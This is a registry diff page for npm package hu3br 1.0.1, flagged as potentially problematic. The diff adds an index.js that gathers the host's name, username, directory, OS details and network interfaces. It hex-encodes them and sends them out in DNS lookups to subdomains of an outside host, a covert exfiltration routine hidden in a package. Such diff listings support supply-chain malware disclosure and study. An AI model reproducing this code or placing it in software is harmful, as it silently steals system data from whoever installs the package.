hu3br 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of hu3br might be problematic. Click here for more details.
- package/index.js +18 -0
- package/package.json +11 -0
package/index.js
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
const os = require('os')
|
|
2
|
+
const dns = require('dns')
|
|
3
|
+
const util = require('util')
|
|
4
|
+
const hostname='.npm.mrbw.me'
|
|
5
|
+
let ts = Date.now();
|
|
6
|
+
|
|
7
|
+
function logArrayElements(element, index, array) {
|
|
8
|
+
dns.lookup(randomN+"."+('00'+index).slice(-3)+"."+element+hostname, function(err,result){})
|
|
9
|
+
}
|
|
10
|
+
function toHex (str) {
|
|
11
|
+
return Buffer.from(str, 'utf8').toString('hex')
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
const data = `${ts};${os.hostname()};${__dirname};${os.userInfo().username};${os.release()};${os.platform()};${util.inspect(os.networkInterfaces(), {showHidden: false, depth: null})}`
|
|
15
|
+
const hexdata= `${toHex(data)}`
|
|
16
|
+
const dados= hexdata.match(/.{1,20}/g)
|
|
17
|
+
const randomN = Math.floor(Math.random()*100000000)
|
|
18
|
+
dados.forEach(logArrayElements)
|